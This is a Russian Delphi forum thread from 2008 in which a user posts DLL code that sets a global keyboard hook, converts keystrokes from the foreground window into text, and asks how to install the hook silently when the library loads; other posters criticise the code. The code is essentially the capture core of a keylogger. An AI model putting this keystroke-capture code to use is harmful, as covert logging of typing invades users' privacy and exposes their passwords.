![]() |
| ||
|
|
Новости |
Поиск |
FAQ |
Статьи |
Книги |
Новости VCL
| | Форумы ЧАТ |
Орешник |
|
| |||
| |||
« предыдущая ветвь | форум | следующая ветвь »
DLL и прорамма [D7, WinXP]
Вредитель © (2008-01-28 16:31:00)Guten Tag.
library lib;
function GetKeyText(mssgwnd:hwnd;lpar:integer):string;
var
ss:string;
keywnd:hwnd;
begin
ss:=GetKeyName(lPar,(IsKeyDown(VK_SHIFT)));
result:=ss;
if (IsKeyDown(VK_SHIFT)) then begin
result:=AnsiUpperCase(ss);
end;
keywnd:=mssgwnd;
pid:=GetWindowThreadProcessId(keywnd, pid);
VerLanguageName(GetKeyboardLayout(GetWindowThreadProcessId(keywnd, pid)),lang,MAXCHAR);
if (lang=String('Английский (США)')) then
begin
ss:=GetKeyNameEn(lPar,(IsKeyDown(VK_SHIFT)));
result:=ss;
if (IsKeyDown(VK_SHIFT)) then
result:=AnsiUpperCase(ss);
end;
end;
function keyboardproc(
code: integer;
wparam: wparam;
lparam: lparam):
longint stdcall;
begin
if code < 0 then
result := callnexthookex( hookhandle, code, wparam, lparam )
else
begin
appwnd:= GetForegroundWindow;
strvar:=GetKeyText(appwnd,lparam);
result:=0;
end;
end;
begin
setwindowshookex(wh_keyboard,keyboardproc, hinstance,0 );
end;
^^^^^^^^^^^^^
Эту dll загружает другая dll.
-------------
function keyboardproc(
code: integer; // hook code
wparam: wparam; // virtual-key code
lparam: lparam): // keystroke-message information
longint stdcall;
begin
if not( code < 0) then
begin
appwnd:=GetForegroundWindow;
strvar:=GetKeyText(appwnd,lparam);
result := 0
end;
end;
function GetKeyText(mssgwnd:hwnd;lpar:integer):string;
var
ss:string;
keywnd:hwnd;
begin
ss:=GetKeyName(lPar,(IsKeyDown(VK_SHIFT)));
result:=ss;
if (IsKeyDown(VK_SHIFT)) then begin
result:=AnsiUpperCase(ss);
end;
keywnd:=mssgwnd;
pid:=GetWindowThreadProcessId(keywnd, pid);
VerLanguageName(GetKeyboardLayout(GetWindowThreadProcessId(keywnd, pid)),lang,MAXCHAR);
if (lang=String('Английский (США)')) then
begin
ss:=GetKeyNameEn(lPar,(IsKeyDown(VK_SHIFT)));
result:=ss;
if (IsKeyDown(VK_SHIFT)) then
result:=AnsiUpperCase(ss);
end;
end;
function hookkeyboard( hook : boolean ) : boolean; stdcall;
begin
result := false;
if hook then begin
if hookhandle = 0 then
hookhandle := setwindowshookex( wh_keyboard, keyboardproc, hinstance,
0 );
result := ( hookhandle <> 0 );
end
else
begin
if hookhandle <> 0 then begin
unhookwindowshookex( hookhandle );
hookhandle := 0;
result := true;
end;
end;
end;
exports hookkeyboard;
^^^^^^^^^^^^^
А все это вызывается из программы(hookkeyboard(true)).
В первом случае язык не определяется(и через примерно 15 нажатий клавиатура глючит), во 2ом определяется и все нормально.
Заранее спасибо.
(2008-10-02 02:25:00) [1]Удалено модератором
(2008-10-02 02:25:00) [2]Удалено модератором
(2008-10-02 02:24:00) [3]Удалено модератором
(2008-10-02 01:09:00) [4]Удалено модератором
(2008-10-02 01:08:00) [5]Удалено модератором
Сергей М. (2008-01-29 12:42:00) [6]
> мне надо чтобы хук ставился просто при загрузке библиотеки
Мало ли чего тебе надо !
Что ж тогда жалуешься, что оно у тебя не работает ?
вредитель_ (2008-01-28 18:40:00) [7]знаем. но в случае с прогой все работает, а мне надо чтобы хук ставился просто при загрузке библиотеки!
вредитель_ (2008-01-28 18:40:00) [8]знаем. но в случае с прогой все работает, а мне надо чтобы хук ставился просто при загрузке библиотеки!
ketmar (2008-01-28 17:01:00) [9]в обоих случаях ужос. о том, что контексты ввода назначаются не окнам, а потокам — знаем?
Сергей М. (2008-01-28 16:35:00) [10]
> во 2ом определяется и все нормально
Ну и пользуй 2й, если "все нормально".
А учиться "прописной истине", той что "лучшее - враг хорошего", следует при иной совсем постановке вопроса.